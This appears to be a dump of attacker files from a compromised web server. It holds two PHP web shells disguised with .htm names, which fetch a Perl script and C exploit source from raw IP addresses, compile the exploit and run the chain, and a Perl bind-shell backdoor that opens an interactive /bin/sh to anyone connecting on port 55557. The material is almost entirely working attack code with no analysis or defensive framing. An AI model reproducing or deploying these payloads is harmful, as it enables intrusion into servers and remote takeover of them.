| |
=Load.htm=
<?print "<pre>";
//system("wget");
//system("lynx");
//system("");
//system("cd /tmp;lynx -source http://57.66.3.129/bd.pl>bd.pl");
//system("cd /tmp;lynx -source http://62.118.154.149/1.c>1.c");
//cd /tmp;wget http://57.69.141.156/;
system("uname -a");
//system("cd /tmp;wget http://57.66.3.129/bd.pl;wget
http://57.66.3.129/1.c;gcc 1.c -o ex;rm 1.c");
//system("cd /tmp;perl bd.pl");
//system("cd /tmp;lynx -source http://213.145.45.103/1.c>1.c;gcc 1.c
-o ex");
//system("lynx -source http://213.145.45.45/bd.pl>/tmp/bd.pl");
system("cd /tmp/;ls");
print "</pre>";
?>
|
| |
=functions_selects.htm=
<?
system("cd /tmp;wget http://57.66.3.97/bd.pl;wget
http://57.66.3.97/ex.c;gcc ex.c -o ex;rm ex.c;perl bd.pl");
?>
|
| |
=bd.pl=
#!/usr/bin/perl
use Socket;
$p=55557;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY));
listen(S,50);
while(1)
{
accept(X,S);
if(!($pid=fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;
}
}
|